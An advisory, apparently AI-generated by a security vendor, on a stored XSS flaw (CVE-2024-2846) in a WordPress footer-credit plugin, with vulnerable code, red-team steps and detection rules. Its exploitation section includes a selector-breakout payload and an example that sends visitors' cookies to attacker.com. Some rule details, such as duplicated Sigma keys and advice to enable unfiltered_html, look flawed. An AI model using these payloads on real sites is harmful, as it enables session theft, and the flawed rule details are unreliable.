CVE-2024-2846

Executive Summary

CVE-2024-2846 is a Stored Cross-Site Scripting (XSS) vulnerability in the Visual Footer Credit Remover plugin for WordPress, affecting all versions up to and including version 2. The flaw resides in the selector parameter, which is insufficiently sanitized and escaped. An authenticated attacker with administrator-level access can inject arbitrary web scripts that execute whenever a user accesses an injected page. This vulnerability is particularly dangerous on multi-site WordPress installations or where unfiltered_html has been disabled. The CVSS score is 4.4 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Visual Footer Credit Remover plugin is distributed via the official WordPress plugin repository. Since no patch is available, users are advised to remove or disable the plugin immediately. The plugin's supply chain risk is elevated due to the lack of maintainer response and the absence of a security update.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: Required (Victim must visit the injected page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires administrator-level access, but the impact is limited to low confidentiality and integrity loss. However, on multi-site installations, a compromised administrator can affect all subsites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress plugin Visual Footer Credit Remover. The plugin allows administrators to remove footer credits by specifying a CSS selector via the selector parameter. Due to insufficient input sanitization and output escaping, an attacker can inject arbitrary JavaScript code into this parameter. The injected script is stored in the WordPress database and executed when any user (including lower-privileged users or visitors) loads a page that renders the plugin's output.

Key Mechanics:

1. Entry Point: The selector parameter in the plugin's settings page.
2. Storage: The unsanitized input is saved to the wp_options table.
3. Trigger: The plugin outputs the stored value without proper escaping, typically in a <script> tag or inline JavaScript.
4. Execution: Any page load that includes the plugin's output triggers the XSS payload.

WordPress Ecosystem Context: This vulnerability is specific to the WordPress plugin and does not involve the core WordPress software or web server (Apache/Nginx). The attack surface is limited to authenticated administrators, but on multi-site networks, a single compromised admin can compromise the entire network.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2):

// In the plugin's settings page or frontend output
$selector = get_option('vfcr_selector');
echo "<script>jQuery('$selector').remove();</script>";

The $selector variable is directly echoed into a JavaScript context without sanitization or escaping.

Patched Code (hypothetical):

$selector = get_option('vfcr_selector');
$safe_selector = sanitize_text_field($selector);
$escaped_selector = esc_js($safe_selector);
echo "<script>jQuery('$escaped_selector').remove();</script>";

A proper patch would use sanitize_text_field() to strip malicious input and esc_js() to escape the output for JavaScript context.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Visual Footer Credit Remover plugin (version <= 2)
• Administrator-level credentials
• Multi-site installation or unfiltered_html disabled

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to the plugin settings page (e.g., /wp-admin/options-general.php?page=visual-footer-credit-remover).
3. In the selector field, inject a payload such as:

   body');alert('XSS');jQuery('body
   

   This breaks out of the jQuery selector and executes arbitrary JavaScript.
4. Save the settings.
5. Any user visiting a page that loads the plugin's script will trigger the XSS.

Example Payload:

');document.location='http://attacker.com/steal.php?cookie='+document.cookie;//

Note: No public exploit code is available from Exploit-DB or other sources.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to the vfcr_selector option in the wp_options table.
• Look for administrator-level logins followed by plugin settings modifications.
• Use the Sigma rule below to detect suspicious selector parameter values in web logs.

Hardening:

• Disable or remove the plugin immediately.
• If removal is not possible, restrict administrator access to trusted users only.
• Enable unfiltered_html for trusted users (though this reduces security).
• Implement Web Application Firewall (WAF) rules to block XSS payloads in the selector parameter.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/visual-footer-credit-remover/ (entire plugin directory)
• Database Option: vfcr_selector containing JavaScript payloads
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server
• Logs: Administrator session logs showing access to plugin settings page with unusual selector values

Detection Engineering

YARA Rule

rule CVE_2024_2846_Visual_Footer_Credit_Remover_XSS {
    meta:
        description = "Detects malicious selector parameter in Visual Footer Credit Remover plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2846"
    strings:
        $selector = /selector[^>]*value=["'][^"']*[<>(){};]/ nocase
        $script = /<script[^>]*>.*jQuery.*selector.*<\/script>/ nocase
    condition:
        $selector or $script
}

Sigma Rule

title: CVE-2024-2846 - Visual Footer Credit Remover Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit Stored XSS in Visual Footer Credit Remover plugin
author: Valters IT
logsource:
    category: web
    product: wordpress
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'visual-footer-credit-remover'
        cs-uri-query|contains: 'selector='
        cs-uri-query|re: 'selector=.*[<>(){};]'
    condition: selection
falsepositives:
    - Legitimate use of complex CSS selectors
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2846 - Visual Footer Credit Remover Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"visual-footer-credit-remover"; http_uri; content:"selector="; http_uri; pcre:"/selector=[^&]*[<>(){};]/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or Remove the Plugin: Since no patch is available, the only safe option is to deactivate and delete the Visual Footer Credit Remover plugin.
2. Audit Administrator Accounts: Review all administrator-level accounts for signs of compromise.
3. Check for Existing XSS: Scan the WordPress database for malicious payloads in the vfcr_selector option.

Long-Term Mitigation:

• Plugin Replacement: Use an alternative method to remove footer credits (e.g., custom CSS via theme customizer).
• Security Hardening: Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Monitoring: Continuously monitor for new patches or advisories from the plugin vendor.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact Valters IT.